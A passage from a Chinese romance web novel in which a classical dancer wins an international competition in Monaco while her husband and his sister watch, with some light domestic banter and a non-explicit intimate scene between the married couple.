确定眼前的一切不是噩梦,她站着沉默了几秒,脚步端正地走了过去:“哥,你怎么过来了?” 傅砚深垂眸在她身上打量着,衣服穿得花里胡哨,头发也染成一头金发,眉头登时就皱了起来:“你还是个学生,穿成这个样子像什么,想要打入**,坐一姐的位置?” 嘴真毒。 傅望舒微垂眸,抿唇小声反驳:“不是,我同学他们也这么穿。” 傅砚深声音又冷了几分:“你同学怎么穿我管不着,但我有权利管你。” “现在就去把头发染成黑色,还有这身衣服也换掉。” “不要!” 傅望舒忍无可忍,急忙去看一旁的黎晚棠,疯狂朝她眨眼:“晚棠姐,你来评评理,我哥这样是不是有点无理取闹。” 他们兄妹俩的事,她本来是不好插手,但瞧见傅望舒疯狂朝她眨眼求救,她也不能视而不见。 只是黎晚棠刚要开口说话,傅砚深沉冷的声音率先在耳边响起:“从小教你的礼貌呢?” 她下意识去看傅砚深,还没明白他这话的意思,就先听到傅望舒乖巧地喊了一声:“嫂子。” 黎晚棠:“……” 哦,原来是教育傅望舒呢。 不过听傅砚深教育傅望舒的这番话,黎晚棠终于能理解,她平日为什么喜欢吐槽她哥了。 如果是她从小被他这么教育着,也会有阴影。 **一姐的位置,亏他能想出这话来。 黎晚棠极力压住嘴角笑意,偏头认真地应了声,接着转向傅砚深:“望舒是特意请假过来看我的比赛,你别那么严肃。” “还有啊,摩纳哥这边挺流行这样穿的,望舒这叫入乡随俗。” 黎晚棠偏头打量一眼,笑道:“我还挺喜欢的。” “你就别这么穿了。” 傅砚深语气软了几分:“既然你嫂子为你求情,下不为例。” “……” 傅望舒对于她哥两幅面孔的模样,嗤之以鼻。 不过她瞬间又明白一个道理,晚棠姐现在成为她嫂子,好像还不错。 看得出来她哥有点惧内,以后她有嫂子撑腰了。 思及此,傅望舒笑着上前一把抱住黎晚棠:“嫂子加油,晚上我在台下给你加油助威。” 黎晚棠弯唇:“谢谢。” 起身时,傅望舒眼眸不经意看见她脖颈上的吻痕,立马又贴回她耳边低语:“嫂子,我哥真是个禽兽,下嘴真狠。” “……” 脖子上的吻痕再次被人发现,黎晚棠羞赧地别过头,恰好对上傅砚深的目光,她狠狠地怒瞪他一眼。 可不嘛,简直就是衣冠禽兽- 下午黎晚棠待在场馆,他们不是在排练就是忙着彩排。 一直到晚饭时间,黎晚棠坐在化妆镜前,边吃着三明治边化妆。 也就这会儿,她才有点时间去翻看手机。 刚点开微信,就看到傅望舒下午给她发过来的那些信息。 傅望舒:【嫂子,你平时是怎么容忍我哥这种性格的,我才跟他待一个小时,感觉都要疯了。】 几分钟后,她又发来一个委屈巴巴的表情:【嫂子,我哥又在教育我,你回头能不能说说他,让我心里平衡一点。】 接着,又是一张拿着购物袋的自拍照。 傅望舒:【嫂子,本以为跟我哥出来逛商场,我能实现穿衣自由,还刷他的卡,可到最后全是他给我挑的,而且特别土,我不喜欢他非要买,还反过来说我眼光不行。】 她连续好几张咆哮的表情包:【嫂子,我真要疯了,你快救我!】 黎晚棠看完这几条信息,抿唇轻笑,单看文字都能感觉到傅望舒的绝望。 不过她这声嫂子看着倒是蛮顺眼。 黎晚棠快速打字:【不好意思啊望舒,我现在才看手机,你们还在外面逛吗?】 傅望舒属于秒回:【没有,我们正在吃饭呢,但饭搭子是我哥,我根本没食欲。】 黎晚棠弯唇笑:【没事,等比赛结束,嫂子请你吃大餐。】 傅望舒:【好耶,还是嫂子人美心、、、】 黎晚棠看到这条未说完的信息,心想是不是她不小心按错发送了。 只是没等她打字询问,界面上又弹出新的对话:【嫂子先不聊了,我哥说吃饭不能玩手机。】 黎晚棠盯着这条信息,脑子忽然能想到傅砚深那张严肃的面容,嘴角止不住地往上扬。 看来他平时对她,已经是很宽容了。 黎晚棠没再回复,吃完手里的三明治,舞台妆也差不多结束,团里同事帮她换上舞蹈服,就出门跟允道去了候场区。 今晚参赛的舞者全都坐在这里,一共是八组选手,八进四的赛制,会直接淘汰一半的人。 评审很直接,不满意的作品没做任何犹豫,直接拍下out键。 大家看到这种情况,都沉默不语,在这种气氛下,内心的紧张感油然而生。 允道见黎晚棠盯着屏幕不说话,笑着安慰:“别紧张,我们就当今晚是一场盛大的演出,而台下观众都是我们的忠实舞迷。” 听到他这话,黎晚棠噗嗤一声笑了起来,有时候真觉得允道年纪不大,心态特别好。 与此同时,傅砚深和傅望舒已经坐在观众席上,静静观看今晚的比赛。 这里不愧是顶尖舞者的较量场,傅望舒觉得前面那两组跳得都特别好,可评委却直接给出了out。 现场观众惊嘘出声,这才意识到,RD国际赛要求真的很高。 她时不时偏头去看她哥,见他一直低头回信息,应该是在处理工作上的事。 当主持人宣布下组的参赛人员,傅望舒忙开口:“哥,快轮到嫂子他们这一组了。” 闻言,傅砚深发送完这条信息,便按灭手机屏幕,仰头认真看向前方。 主持人话音结束,黎晚棠和允道前后脚走上舞台,两人并排站好后,同时弯腰朝评审和观众鞠躬。 恰好这时,右侧方响起一片极其热烈的掌声。 傅望舒偏头看了眼,全是黎晚棠的粉丝,而且比第一场比赛的人数还要多。 她收回视线,笑道:“哥,你往那边看看,嫂子今晚来的粉丝比上次还要多。” 傅砚深顺势抬头,当瞧见是一大帮男人举着应援灯牌时,他眉头微蹙:“怎么会有那么多男粉丝?” “正常呀,嫂子长得漂亮,身材又好,而且舞跳得更是曼妙绝伦,能吸引一些男粉很正常。” 傅望舒没去看哥的脸色,实话实说道:“我嫂子也是我心目中的女神,气质好得跟大明星似的,唯一不理解她是怎么看上你的。” 听到这句,傅砚深忽而侧头看她:“你把后面那句,再重复一遍。” 突然对上她哥那双幽深的黑眸,傅望舒这才意识到自己说错话了。 好在她反应及时,咧嘴笑呵呵地讨好:“哥,你听错了,我刚才是说你跟嫂子真配,俊男美女,简直是天生一对。” 见他还盯着自己,忙抬手指向舞蹈:“哥,表演开始了,我们认真看吧。” 察觉那道凉飕飕的视线移开,傅望舒暗暗松了口气。 看来以后说话得小心点。 此时舞台中央,像两只活灵活现的孔雀逐渐显现,忽而亮起的聚光灯投下一束柔光,将后面背景照映出一片朦胧的原始森林。 黎晚棠光脚从黑暗中走了出来,一条缀满孔雀鳞纹的长裙,她每走一步都带着试探与羞涩,像一只初踏静谧森林的精灵。 对林中的事物感到无比好奇。 这时,允道也从光晕中跳出,金线绣成的翎衣在灯光下闪着微光,他跨步跳跃,围绕着黎晚棠翩翩起舞,像是兴奋地找到了自己的同类。 当他双臂展开时,动作里充满了力量与渴望。 确认过后,两只孔雀结伴而行,在森林中寻找食物和清水。 黎晚棠纤细腰轻折,玉臂轻轻起伏,纤细脖颈拉出完美的曲线时,像在模仿孔雀饮水,也将雌性的柔美展现得淋漓尽致。 他们舞动交织在一起,他追逐,她徘徊。 犹如在林中追逐嬉戏的孔雀,尾羽相碰,眼神情意交融,构成一幅雄雌相依的和谐画面。 看到这,傅望舒偷偷偏头去看了眼她哥,果然脸色难看至极。 她默默收回视线,努力降低自己的存在,怕殃及无辜。 音乐戛然而止,灯光落在他们身上,彼此托举的定格动作,成了最好的信任。 舞台灯光亮起,全场响起热烈的掌声,就连评审都站起来鼓掌。 当镜头切过评审脸上的表情,全是带着微笑。 黎晚棠和允道收起定格舞姿,弯腰朝台下鞠躬。 现场的掌声持续了一分钟,才缓缓停止。 毫无意外,他们全票通过,进入明天的总决赛。 这期间,傅望舒激动得把手都拍红了:“啊啊啊!我嫂子太棒了,不愧是我粉了多年的女神,他们简直是把这两只孔雀跳活了,最后那个镜头看着好温馨,特别有爱!” “哥,你说我嫂子跳得——”傅望舒看到她哥那双依旧沉冷的表情,瞬间闭上嘴。 她又说错话了吗? 傅砚深收回视线,目光再次看向舞台,女孩嘴角的那抹笑容挂在嘴边,闪闪发光的她,像夜空中最亮的那颗恒星。 现在他的女孩越来越优秀了- 比赛结束,黎晚棠一下舞台就转身跟允道拥抱。 此刻她激动的心情无法形容,只能拥抱身旁同样努力的队友,来分享此刻的喜悦。 允道也笑着回抱住她,心情同样激动:“晚棠,我们真的做到了,大家都说我们演绎的孔雀是活的,你提出的想法和舞台效果都非常棒,我相信,你未来肯定会成为一名出色的舞蹈演员。” “你也会的,如果没有你,我们这支舞蹈不会那么成功。” 黎晚棠直起身,开玩笑道:“不过接下来的比赛,我们将会成为竞争对手,到时候我就不会手下留情了哦。” 允道目光柔和地看着她:“我很期待,而且很想与你——” “嫂子!” 两人同时扭头,才发现傅砚深和傅望舒站在不远处,像是特意过来等她的。 “允道,我们老公他们来了,明天见。” 黎晚棠笑着和允道挥手告别,刚转身,就朝他们小跑过去,弯唇笑道:“你们怎么来后台了,不看后面的比赛了吗?” 傅望舒偷瞥了眼她哥那张面无表情的脸,嘴角轻扯:“我哥说现在时间太晚了,先带你回去休息。” 如果不是她哥盯着他们拥抱的画面,脸色越来越冷,她倒是还想看看这两只养眼的真人孔雀。 没办法,谁叫傅砚深是她亲哥呢,做妹妹总得向着他点,这才出声打断他们的对话。 闻言,黎晚棠仰头笑着看向傅砚深:“我今晚的表演怎么样?” 傅砚深牵过她的手,极其有占有欲地包裹住她的小手,将人拉到身旁:“嗯,跳得特别棒,孔雀的灵动感很鲜活,最后那个镜头也很温馨。” 傅望舒诧异偏头看向她哥,心想这话不是她说过的台词吗。 不过见这话能把晚棠姐哄得那么高兴,暂时不拆穿他。 他们等黎晚棠卸妆换上私服,三人随便在附近餐厅吃了点宵夜。 饭后,他们先送傅望舒回学校,才返回酒店。 黎晚棠泡完脚,洗漱完毕就懒洋洋地躺在床上。 傅砚深洗好澡出来,随便擦了擦头发,拿过药膏朝她走了过去:“躺好擦药。” 闻言,黎晚棠侧躺的身子变成平躺:“你工作忙完了吗?” “嗯,需要处理的工作,都已经处理完了。”傅砚深拧开药盒,低头帮她涂抹膝盖:“会有点疼,忍着点。” 黎晚棠点头,而后舒舒服服地躺着:“明天的总决赛结束,我们后天就可以回国了,这期间不会耽误你的工作吧。” 傅砚深掀起眼皮看她:“不会,况且在这个时候,工作没有你重要。” 好听的话谁都喜欢听,黎晚棠也不例外。 趁着他擦药的间隙,她撑着床垫坐起身,快速在他唇上亲了口:“你也是,在我心里特别重要。” 傅砚深擦药的动作微停,侧眸看她,眸色逐渐暗了几分:“那里还疼吗?” “……” 话题突然转到这个问题上,而且她还秒懂了。 黎晚棠轻咳两声:“昨晚涂完药……早就没事了。” “那就好。” 傅砚深低头继续去涂药,片刻,冷不丁来一句:“所以,你刚才是故意在撩我。” “……” 黎晚棠诧异睁眸,发现他倒打一耙的本事炉火纯青。 盯着男人面不改色的那张脸,她忽而被气笑了:“傅砚深,你能把以前的傅砚深还给我吗。” 现在想想,那个古板守旧的傅砚深,其实还是蛮靠谱。 不会动不动就说、骚话。 傅砚深微挑了下眉,膝盖的按摩结束后,慢条斯理把药瓶盖好,扭头对上女孩那双黑亮的眼睛,反问:“你是对现在的我,很不满意?” 黎晚棠嘴角憋着笑,眼底却带着几分揶揄地望着他:“难道,你对现在的你很满意。” “嗯,现在话多了,考虑的事情也更全面。” 傅砚深说着,丢开手里的药瓶,俯身朝她一点点靠近:“而且还有了更多的表情变化。” 他故意停顿了下,偏头凑到她耳朵,低声道:“这个棠宝应该最清楚。” 黎晚棠笑意秒收,轻眨着眼睫推开他:“……我清楚什么。” 啊! 谁来把这人收掉,简直太闷骚了! 傅砚深瞧见黎晚棠脸上闪过的微表情,坐直身子,一本正经道:“我说的是笑容,你想的是什么?” “……” 黎晚棠抬眸怔怔地望着他,瞬间傻眼。 是她污了,还是他本来就是那个意思? 傅砚深勾唇笑了下,从床上站起身,转而进入洗手间:“我去洗个手,回来睡觉。” 黎晚棠盯着他消失的背影,憋在心口的那股浊气,缓缓吐出。 接着扯过被子躺了下去,不停地去捶床垫。 这方面,他是高手。 傅砚深从洗手间出来,房间灯光柔和,床上女孩裹着被子蜷缩在一侧,不想搭理他的背影很明显。 走上前,他侧身躺下后,抬手要去抱她,手背却突然被她拍了下:“今晚不许抱着我,你自己睡吧。” 傅砚深一怔,僵在半空的手转而去揉了揉眉心,这次看来是真把人逗急眼了。 沉默片刻,他侧身拉开抽屉,从里面拿出一个首饰盒。 黎晚棠听到他拉开抽屉,接着又有窸窸窣窣的声音响起,气愤转身:“傅砚深,我都生气了,你还想干那种事,你还是不是——” 她那个“人”字还没说出口,眼前突然坠落一条闪闪发光的项链。 坠下的项链悬荡在半空,黎晚棠跟随它移动的方向看了几眼,片刻后,呐呐开口:“你什么时候买的?” “今天陪望舒去逛街看见的,感觉你戴上会很好看就买了。” 说着,傅砚深稍稍坐起身,从后帮她一点点戴上。 黎晚棠低头,捏着胸前的吊坠,认认真真打量着。 被切割成无数面的钻石,就算此刻房间灯光昏暗,也映得她眼眸亮如星辰。 吊坠是水滴式的设计,连接两端的花瓣还镶嵌一排小钻,款式很独特,目前在市面上没见过。 而且中间那颗主钻,目测是十二克拉,非常耀眼。 黎晚棠嘴角微弯,扭过头去看他:“这款项链的设计很好看,它有名字吗?” 傅砚深顺势低头在她唇上轻吻了下,接着从后环抱住她:“有,他们说是永恒之泪,希腊公主的藏品,全世界仅此一条。” 黎晚棠震惊,接着又看向手里的项链,指尖轻轻抚摸着每一个细节,嘴角一点点翘:“很好听的名字,我很喜欢。” 傅砚深见她表情有所松动,偏头凑到她耳边,低声询问:“那现在还生气吗?” 听到这话,黎晚棠从他怀里转身:“其实我不是生气,而是觉得你老在这方面逗我。” 傅砚深盯着她开开合合的小嘴,眸色忽暗,语气不自觉柔了下来:“不想逗,是想来真的?” 可他话音刚落,也不等黎晚棠开口回答,蓦地捏住她的下巴,轻轻往上抬,接着张嘴含住她的唇。 “行,那我们这次来真的。” 第44章 唇瓣被傅砚深含住时,腰间也被他紧紧扣住,完全不给她任何反应的时间,整个人就旋转过来,两人姿势成了面对面。 黎晚棠刚呼出一口气,后脑勺猛然被他扣住,唇瓣再次相贴,男人直接撬开她齿贝,滚烫的舌尖从善如流地纠缠在一起。 暧昧的水渍声在气氛刚好的房间里,清晰回荡着。 呼吸声也越来越重。 落地窗外,马路对面车水马龙的声音渐渐停歇,直至消失不见。 然而在床上纠缠的两道身影,被柔和的光线拉长,最后成了一条密不可分的麻绳。 抽屉的声音再次响起,这次拿的是什么,两人心知肚明。 房间的气温逐渐升高,两人的呼吸变得急促,滚烫又灼人。 傅砚深也像找了一片新的领地,不停的亲吻她敏。感的耳垂,让她心痒难耐,只能不停地催他快点。 结束时,黎晚棠根本没力气看几点了,只觉得又累又困,全身无力地趴在床上。 就连傅砚深抱着她去洗澡,也无力反抗,只能任由他里里外外清洗。 糊糊迷迷间,她还在担心,他们这样的放纵会不会影响明天的比赛。 可身体刚粘上柔软的大床,她转了个身直接秒睡,已经没有多余的思绪去考虑那些事情。 傅砚深洗好澡返回房间,床上的女孩已经睡得香甜,他轻轻掀开被子躺下,慢慢将人搂在怀里。 见女孩习惯性伸手抱紧他,他满足地弯起嘴角,小心翼翼拥紧她。 她说得没错,她的心和人都是他的- 黎晚棠这一觉睡得特踏实,生物钟醒来后,想到自己膝盖不能晨练,又窝进傅砚深怀里闭眼继续睡。 在摩纳哥这几天,傅砚深都是搂着她睡到七点多,不知是他还没适应时差,还是因为这边温度合适赖床,到目前为止就没见他起床运动过。 两人洗漱完,黎晚棠忍不住问:“从我出国后,你是不是就没再晨跑?” 傅砚深回头看她一眼:“为什么这么问。” 黎晚棠拿着手机来到餐桌前,准备吃早餐:“没事,就你来这几天,好像没看见你运动。” “每天都有。” 傅砚深把早餐推至她面前,一板一眼道:“我们夜间的运动,难道不算?” 黎晚棠低头刚喝下一口豆浆,因为他这句不要脸的话,瞬间猛咳了起来。 傅砚深手疾眼快把纸巾递给她,柔声叮嘱:“慢点喝,时间还来得及。” “……” 黎晚棠忙接过纸巾,无语地睇他一眼。 她是喝得急吗,明明是他说的话太雷人。 将嘴角擦拭干净,她也懒得跟他计较,低下头,边吃早餐边去看一旁的手机。 只是随便瞥了眼,屏幕上竟显示出的一大串未读短信,黎晚棠微微皱眉,不知道是谁给她发了那么多条短信。 抱着好奇点开,当看到微信列表上蜂拥而至的消息时,她还真被吓到了,以为是国内出了什么大事。 要不然,所有亲朋好友都在疯狂地@她。 就连沈听荷也在其中:【棠棠,摩纳哥那边没有记者蹲你吧,家里已经有记者来了,我跟你爸出门都被围着采访。】 【昨晚你们比赛的舞蹈视频,刚在各大平台播放,你便瞬间登上话题热榜,妈妈虽然高兴你被这么多人喜欢,却还是担心你出门被围堵的困恼。】 黎晚棠看完这条信息微愣了下,她知道这次比赛国内网友都挺关注的,而且她微博粉丝还因此涨了不少粉。 但昨晚比赛上的热搜,她还没时间去看。 怕沈老师着急,黎晚棠忙回复过去:【妈,我这边一切都好,而且有傅砚深在,你们不用担心。】 或许在忙,沈老师一直没回。 黎晚棠又接着往下看,叶知薇也发一条来祝贺:【棠宝,你现在是彻底火了,我就一觉睡醒,网上的热搜全是关于你,连带你跳那只孔雀都火了,还有网友调侃你是名副其实的孔雀女王。】 叶知薇:【知道现在忙,我就不多加打扰了,但是回国后的采访,你别忘了给我们报社留一个名额。/爱你.jpg】 黎晚棠浅浅弯唇,又查看团里同事以及团长的信息,团长叮嘱她注意休息的同时,顺便把冠军搬回国。 而且其他同事都像商量好似的,发的都是这句话。 黎晚棠有些哭笑不得,继续往下看亲戚那一栏,她婆婆信息里激动的表情包都要溢出屏幕,连傅奶奶都学会给她发加油的可爱表情。 剩下的消息还有很多,一下子根本看不完,她还想往下看时,傅砚深冷不丁来一句:“先吃早餐。” 黎晚棠下意识抬头看他,脑中顿时想到傅望舒吐槽的那条信息,乖乖放下手机。 看来有些原则性的问题,傅砚深对事不对人。 她吃饭玩手机也同样被说。 吃完早餐,黎晚棠独自去了场馆,傅砚深有个视频会议要开,暂时需要待在酒店。 刚抵达排练厅,团里同事就笑吟吟地围住她。 “晚棠,你看国内的新闻了吗,微博前十的热门话题全是你,连我们东方舞蹈团都上热搜了。” “可不嘛,现在你的讨论热度都超过一线明星了,看来RD的国际舞蹈比赛影响力真的很大。” “是呀是呀,早上我带着证件牌进来,很多人问我是不是东方舞蹈团的,我们一下子就被大家关注了,感觉好荣幸,这些全是晚棠给我们带来的荣耀。” 来的路上,黎晚棠也上网去看了国内的新闻,她确实没想到关注度会那么高。 她开玩笑道:“我现在突然被这么多人关注,下午的比赛好有压力。” 林薇笑着拍拍她的肩膀:“不要有压力,全力以赴就好,再说,我们都在台下陪着你呢,你不是一个人在战斗。” “对呀,晚棠我们为你加油助威,大家一起给你传递能量。” 黎晚棠笑着说谢谢,暖心的同时,使命感更强了。 今天这场总决赛,如今已经受到全国人民的关注。 总决赛并没有像之前那样,给予任何的舞蹈主题,而是根据现场随机抽取的音乐,开启十分钟的音乐卡点模式。 这个很有难度,只能靠多年的舞蹈基础来随机应变,而且根据音乐现编排一段舞蹈,给予构思的时间只有几分钟。 这次赛制刺激又有看点,考验每个舞者的编排能力和节奏应变能力。 黎晚棠不清楚自己会抽到什么音乐,这里不是国内,肯定不会出现国语歌曲。 上午在排练厅,林薇还特意帮她找了国际比赛上可能会出现的音乐曲目,按照节奏,两人分析很多创排的可能性- 午饭过后,黎晚棠就被工作人员叫去后台化妆,接着跟其他舞者去演播厅,听导演细说这次总决赛的比赛流程。 两点过后,就有观众陆续进场,傅砚深依旧跟傅望舒同排。 看到她早早出现在座位上,傅砚深偏头询问:“不是翘课出来的吧?” “……” 傅望舒眼皮猛跳了下,立马收起手机,正色道:“怎么可能呢,我下午没课。” 其实她不敢说实说,她确实是中途偷偷溜出来的,一起过来的还有她的几个同学。 只是她清楚她哥会跟自己同排,就没跟同学们坐在一起。 傅砚深狐疑的目光在她脸上扫了几眼,淡然收回视线:“翘课也没事,毕竟是你嫂子的比赛重要。” “……” 听到这话,傅望舒眼珠子都要掉下来了。 她哥这么双标好吗? 又怕他是在套自己的话,傅望舒扯了扯唇,没接话。 很快,所有评审出场,现场瞬间安静下来,大家目光全放在舞台上。 总决赛的主持人不再是一位,而是一男一女。 当他们一一念出参赛者的名字时,台下的掌声越来越热烈。 毕竟这会儿能出现在台上的舞者,在他们那个领域来说,已经是佼佼者了。 傅望舒看到黎晚棠出场,也不知道她能不能看见,笑着朝她挥手。 此刻站在台上的黎晚棠确实没看见,现场观众太多,她又不能把过多的目光落在找人上,只是笑着朝大家挥手。 等参赛舞者全部上台,主持人宣布今天的比赛正式开始。 很快就有工作人员搬上来一个封闭式的抽奖台,所有参赛者按照顺序上前抽取。 之后各自拿在手中,大家统一揭秘。 歌曲跟出场顺序都在圆球里面,打开就能一目了然。 黎晚棠打开看到的第一眼,心里闪过雀跃,她出场的顺序是第五位,也就是说,她能拥有更多思考编舞的时间。 而且这首歌,她在排练厅听过,甚至还跟林薇讨论过这首曲子的动作及节奏。 黎晚棠大大方方展示给摄像头,脸上是轻松的表情。 只是抽到第一位出场的舞者,就有些苦不堪言了。 或许在暗暗吐槽自己的那只手,运气差到极点。 但赛制就是这样,不可能给你多余的时间去懊恼,现场当时就循环播放出比赛的音乐,让舞者自行设计卡点动作。 很快,试听音乐结束,第一位舞者正式开始他的表演。 黎晚棠边去看他这段临时发挥的舞蹈,边在脑中设计自己的动作。 其实作为古典舞演员来说,挑战西方的快节奏音乐,确实有点吃亏。 好在上场时,她穿了条很有特色的飞天服,就是想中西结合一把,不光用舞蹈征服观众,更想在视觉上吸引他们的眼球。 其实在舞台效果这块,确实是她的强项。 从她出场的那一瞬,观众给予的掌声就是最好的证明。 接二连三的舞者都表演结束,期间评审给出的评分并未公开,似乎要等所有参赛者全部跳完,同时宣布。 马上就轮到黎晚棠时,她低头轻舒一口,再抬头时,总觉得有道目光一直在注视着她。 她稍稍偏头,隔着乌压压一片的人群,一眼就对上傅砚深那双深邃的黑眸。 男人身形板正的坐在椅子上,两人隔着的距离不远不近,如果不仔细看,偌大的观众席真能将他吞没,此时只有台上反射出来的灯光掠过他立体的轮廓。 他双腿随意交叠着,一身定制西服看似格外正式,仿佛要去参加什么国际演讲,就连发型都像刻意打理过。 黎晚棠弯唇朝他笑了笑,男人同样勾唇回笑,接着用口语跟她说了四个字。 黎晚棠心里默念一遍,他是说:老婆,加油。 抿唇笑了一会儿,她抬起头,目光定定地看着他,也无声回了一句:好的,老公。 很快,她这首歌曲的卡点音乐响起,不是整首曲子,而是截取其中的高潮部分,旋律应该是后期改编过,节奏感很强。 黎晚棠低头认真听着,脑中闪过无数个舞蹈动作,随后将不同的舞步,安放在合适的卡点位置上。 音乐结束,支持人开口邀请她上台表演。 黎晚棠站在舞台中央,等自己进入状态后,偏头朝工作人员点头,音乐声再次响起。 她倏地甩开水袖,腾空跳跃打开一字腿,在半空停留了两秒,落地时刚好卡住第一个节拍。 接着她腰肢一拧,整个人如翻滚的雪球,侧身旋转,纤足在袖子影中时隐时现,踏着紧密的节奏,竟毫无半分错漏。 旋转结束时,她臂间的水袖依旧在半空飘荡,宛如飞天女神,神韵兼备,定格在敦煌壁画之中。 一曲结束,热烈的掌声骤然响起,如果这里能开口大喊,肯定还有欢呼声。 傅望舒下意识偏头观察,果然不少人脸上都出现震惊的表情。 可能这是他们看过最精彩的中西结合的舞蹈作品,不仅新颖还具有民族特色。 当所有舞者的表演结束,主持人再次出现在舞台中央,激情澎湃念接下来的流程词。 傅望舒本想跟她哥猜今天的冠军是不是黎晚棠,偏头才发现,他人已经不在座位上。 她撇嘴轻嗤一声:“嫂子还没比完赛就走,回去我就告状。” 目光再次落在台上,主持人一一揭晓刚才的评分,当黎晚棠成为全程最高的那一个时,全场抑制不住地欢呼声响起。 紧接着,舞台上空也落下庆贺的彩色礼花。 黎晚棠被众人请上舞台时,还有点不可置信。 毕竟优秀的舞者太多了,她很幸运得到这个冠军。 此刻所有评审都走上舞台,每个人都跟黎晚棠拥抱,笑着说恭喜。 轮到神秘嘉宾给她颁发奖杯和证书时,台上灯光忽然暗了一半,接着就看见一道颀长的身体从黑暗中走了过来。 黎晚棠心里还在想,这位神秘嘉宾的身形有点像傅砚深,一束柔光蓦地从他头顶洒下。 当看到朝自己走过来的男人真是傅砚深时,她极其震惊地睁大眼睛。 神秘嘉宾怎么会是傅砚深? 直到他走到身旁,黎晚棠还有些没缓过来,抬头定定看着他,像是在询问颁奖嘉宾怎么是他。 可傅砚深没有给她任何回应,按照主持人的引导,把所有奖品证书递给她。 只是在他低头的那一瞬,男人浅浅勾唇:“恭喜黎晚棠女士,获得这次比赛的总冠军。” 这句话是用意大利语说的,话筒传递到每个角落,台下再次响起掌声。 就在这时,男人突然俯身拥抱住她,偏头在他耳边低声说了句:“老婆,你是我的骄傲。” 黎晚棠嘴角上扬,眼眶却逐渐变得模糊,心脏在胸腔里砰砰直跳,似乎还有点不敢相信,总决赛的颁奖嘉宾是他。 此时此刻,他还说出那么煽情的一句话。 就在他起身的那一瞬间,黎晚棠忽而凑到他耳边,仅用两人听到的声音开口。 “傅砚深,我现在好想亲你。” 第45章 听到女孩这话,傅砚深眉骨惊讶地抬了抬,接着弯唇轻笑:“老婆,现在可能不行,下台随你怎么亲行不行?” 这会儿盯着他们的人太多,直拍的机器也不少,今天过后,关于她的热搜将会铺天盖地。 这个时候,他不能让她有一点负面新闻。 傅砚深直起身时,脸上早已恢复清冷沉稳的模样。 黎晚棠也沓樰獨家諍裡收起笑意,抱着手里的证书和奖杯,真诚地朝台下鞠躬,她接过主持人递过来的话筒,说了一些获奖感言。 一直有摄像头围着她拍摄,黎晚棠拿着话筒转身,定定地站在镜头前,嘴里的英语直接转为国语:“谢谢各大网友对我的鼓励和支持,如今我不负众望,把奖杯带回来了。” 台下国内的观众听到这话,内心激动不已,疯狂鼓掌。 或许是在异地他乡,怀揣在心底的那抹情怀瞬间冲到顶格。 傅望舒也不例外,涌动的热血在心中翻滚。 她望着站在一起极其般配的两人,嘴角止不住上扬。 这会儿不得不说,他哥确实还有点小帅,偷偷瞒着晚棠姐,以神秘嘉宾的身份给自己老婆颁奖。 望着这一幕,傅望舒忙打开手机摄像头,把两人站在一起的画面及时拍了下来。 低头看了看,莫名地,她开始想嗑她哥和她嫂子这对,名副其实的真CP啦。 然而嗑他们俩的不是只有傅望舒,还有知晓内情的舞团同事。 他们看到黎晚棠获得冠军,高兴地相互抱着跳了好几圈,能在国际舞台上大放光彩,他们作为东方舞蹈团的同事都觉得骄傲。 而且神秘嘉宾还是她老公,这到底是什么神操作。 甜死人了! 此时台上的颁奖还在继续,黎晚棠时不时偏头去看站在身旁的男人,心里的疑惑堆成山。 她实在是想不通,他是怎么变成颁奖嘉宾的。 毕竟这里是摩纳哥,而不是京北。 等所有奖项都颁发结束,大家站在一起准备拍一张大合照。 很多人纷纷往台中央挤,黎晚棠身形控制不住地往一旁倾斜,肩膀直接贴在了傅砚深手臂上。 就在这时,她隐隐感觉男人抬手扶了她一下,然而在他退开时,指尖极轻地从她掌心划过,带起丝丝麻麻的痒意。 黎晚棠下意识抬头,男人却面不改色目视前方,仿佛刚才挠她掌心的人,根本不是他。 低头时,她没忍住弯唇笑了。 傅砚深下台离开后,黎晚棠还需要各种拍照和采访,等主持人宣布这次国际舞蹈比赛圆满成功,一起期待明年的比赛。 大家纷纷朝台下观众鞠躬,转身往侧舞台走。 刚下台,黎晚棠就被其他工作人员拉着拍合照。 黎晚棠能理解大家的热情,就算此刻着急想去找傅砚深,她也还是笑着跟大家合完影。 只是走出后台,团里的同事极其兴奋地跑了过来,一个个与她拥抱。 “晚棠,你在台上领奖的那一刻,我在台下都哭了,你这一路走来很不容易,所以你值得。” “我也是,我是感动到哭的,你没让大家失望,真的把奖杯抱回家了。” “晚棠,你简直就是我们舞蹈团的骄傲!” 黎晚棠微抿着嘴角,心里逐渐冒出暖意,她的成功,少不了大家一直以来的陪伴。 轮到林薇时,两人先是对看一眼,所有想说的话,全部化作此刻这个拥抱之中:“太棒了,我一直都相信你可以。” 黎晚棠弯唇:“没有你,我这个冠军拿得不会那么容易。” 是林薇提前准备的那些歌曲,给她很大的帮助,以及她每日在排练厅的陪伴。 所以说,今天这个荣耀也有她的一份。 脑中忽然想到什么,黎晚棠直起身,把手里的证书和奖杯全塞进林薇怀里:“林编导,这些你先帮我保管,我现在需要去完成另外一件事。” 林薇还没反应过来,怀里已经多了一堆东西,而黎晚棠早已跑远。 其他同事见状,忙问:“林编导,晚棠这是要干嘛去?” 林薇低头看了眼怀里的奖杯,再抬头去看黎晚棠消失的背影,嘴角一点点扬起:“她去做一件,比拿奖更重要的事。” 黎晚棠刚出演播厅,拿在手里的手机就响了起来,她低头看了眼,急忙接通:“我在车里等你。” 很简短的一句话,蕴藏着两人蠢蠢欲动的心照不宣。 黎晚棠浅浅勾唇,挂断电话,就迈步朝后门跑去。 从国内热搜出现后,傅砚深就做好了各种准备,以往停在前门的车,改成了后门,以防她被这边的记者围堵。 推开沉重的安全门,一眼看到停在路边的那辆黑色商务车。 她偏头四处看了看,确定这边没记者,快速拉开车门坐了上去。 只是还没坐稳,腰间就被一只大手捞了过去,紧接着,她落坐在男人结实有力的大腿上。 黎晚棠吓得惊呼出声,下意识勾住傅砚深的脖子,低头刚要说话,下巴就被他捏住,毫无征兆地吻落了下来。 傅砚深亲得极深,或许是因为黎晚棠台上说的那句话,又或许是给她颁奖时,他一直想做,却搁置到现在的亲吻。 所以唇上的动作有些急切而粗暴。 黎晚棠唇和舌尖都被他吮得发麻,明明是她急切地想吻他,现在反倒是他热情澎湃。 她双手环抱住他的脖子,低头回应,两人闭上眼,沉浸在这个缠绵而又灼热的湿吻之中。 路边偶尔有车子经过,甚至会有刺耳的喇叭声传来,依旧没能打断他们这个深吻。 黎晚棠觉得他们从来没有像今天这样,如此疯狂的亲过,而且还是在静谧狭小的车厢内,暧昧气氛骤然飙升。 环境不仅刺激,还格外的爽。 这个吻逐渐失控,似乎这样已经不能满足彼此。 